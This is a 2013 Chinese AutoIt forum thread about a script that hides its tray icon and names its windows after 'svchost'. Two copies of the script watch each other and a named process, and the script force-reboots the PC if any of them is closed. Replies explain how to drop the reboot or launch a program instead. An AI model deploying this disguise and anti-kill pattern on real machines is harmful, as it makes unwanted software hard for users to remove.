ttnnaass 发表于 2013-1-23 02:12:48

请问。。怎样不要重启改成运行再运行软件~~谢谢.TQ.

#notrayicon
#include<Process.au3>
#include<string.au3>
Global Const $PROCESS_ALL_ACCESS = 0x1f0fff
Dim $fish_ProtectScripts=StringRight(@scriptfullpath,"3")
Dim $fish_AdminProtection_FileCheck=@ScriptFullPath
Dim $fish_CurrentDirectory=@Scriptdir
Dim $fish_Title2="2svchost - fish"
Dim $fish_Title="1svchost - fish"
Dim $fish_SAFE_MT="Safe Mode"
Dim $fish_MultiCase="3"
Dim $fish_Loop=True
Dim $fish_Console="1"
Dim $fish_FRestart="6"
Dim $fish_LoopDelay="25"
Dim $fish_ProtectProcess=""
Dim $fish_AdminProtection=$fish_Title2
Dim $fish_FRestartCommand="ForceRestart"
Dim $fish_SAFE_MODE_MSG="Windows Commit Restart .. but its safe mode lol , press ok exit program"
_FishSafeMode(0);1=run by safe mode / 0=commit to fully works
_FishMultiProcess($fish_Title,$fish_Title2)
$fish_WinTitle=GUICreate($fish_Title,1,1,1,1)
IF $fish_MultiCase="2" THEN Run($fish_AdminProtection_FileCheck,$fish_CurrentDirectory)
WinWait($fish_Title)
WinWait($fish_Title2)

WHILE $fish_Loop
_FishAdminProtection($fish_AdminProtection)
_FishProcessProtection("o0o__o0o.exe")
WEND

FUNC _FishForceRestart($fish_Console)
IF $fish_Console="1" THEN
MsgBox(16,$fish_SAFE_MT,$fish_SAFE_MODE_MSG)
exit
else
IF $fish_Console="ForceRestart" THEN Shutdown($fish_FRestart)
ENDIF
ENDFUNC

FUNC _FishMultiProcess($fish_MultiProcess,$fish_MultiProcess2)
IF WinExists($fish_MultiProcess) THEN
IF WinExists($fish_MultiProcess2) THEN
EXIT
ENDIF
ENDIF

IF Not WinExists($fish_MultiProcess) THEN
$fish_MultiCase="2"
$fish_AdminProtection=$fish_Title2
ENDIF
IF WinExists($fish_MultiProcess) THEN
$fish_MultiCase="3"
IF WinExists($fish_MultiProcess2) THEN
Exit
Else
$fish_MultiCase="3"
$fish_AdminProtection=$fish_Title
$fish_Title=$fish_Title2
ENDIF
ENDIF
ENDFUNC

FUNC _FishProtection($fish_Protect)
$fish_ProtectProcess=StringSplit($fish_Protect,"\")
IF Not FileExists($fish_Protect) THEN _FishForceRestart($fish_FRestartCommand)
IF Not ProcessExists($fish_ProtectProcess[$fish_ProtectProcess]) THEN _FishForceRestart($fish_FRestartCommand)
sleep($fish_LoopDelay)
ENDFUNC

FUNC _FishProcessProtection($fish_ProcessProtect)
IF Not ProcessExists($fish_ProcessProtect) THEN _FishForceRestart($fish_FRestartCommand)
sleep($fish_LoopDelay)
ENDFUNC

FUNC _FishSafeMode($fish_Test)
IF $fish_ProtectScripts="au3" then
MsgBox(16,"Error Running Scripts","Please Run After Compile")
Exit
Else
if $fish_Test="1" then
$fish_FRestartCommand=$fish_Test
Else
ENDIF
ENDIF
ENDFUNC

FUNC _FishAdminProtection($fish_AdminProtection_Default)
IF not WinExists($fish_AdminProtection_Default) THEN _FishForceRestart($fish_FRestartCommand)
IF not FileExists($fish_AdminProtection_FileCheck) THEN _FishForceRestart($fish_FRestartCommand)
_FishReduceMemory()
sleep($fish_LoopDelay)
ENDFUNC

Func _FishReduceMemory()
Local $ai_GetCurrentProcessId = DllCall('kernel32.dll', 'int', 'GetCurrentProcessId')
Local $ai_Handle = DllCall("kernel32.dll", 'int', 'OpenProcess', 'int', 0x1f0fff, 'int', False, 'int', $ai_GetCurrentProcessId)
Local $ai_Return = DllCall("psapi.dll", 'int', 'EmptyWorkingSet', 'long', $ai_Handle)
DllCall('kernel32.dll', 'int', 'CloseHandle', 'int', $ai_Handle)
Return $ai_Return
EndFunc

haijie1223 发表于 2013-1-23 07:54:54

请问:什么叫“不要重启改成运行再运行软件”?谢谢.

menfan1 发表于 2013-1-23 12:44:06

是文件自动重启吗?

sunless 发表于 2013-1-23 12:46:20

修改 Dim $fish_FRestartCommand="ForceRestart" 为 Dim $fish_FRestartCommand=" "
或是 把这两行去掉 IF $fish_Console="ForceRestart" THEN Shutdown($fish_FRestart)
ENDIF程序就不会重启电脑了.
至于 运行再运行. 楼主也没说清要运行什么.
把 IF $fish_Console="ForceRestart" THEN Shutdown($fish_FRestart) 中的   Shutdown($fish_FRestart)改成 run() 应该可以做到不重启,去运行别的东西.
页: [1]
查看完整版本: 请问。。怎样不要重启改成运行再运行软件~~谢谢.TQ.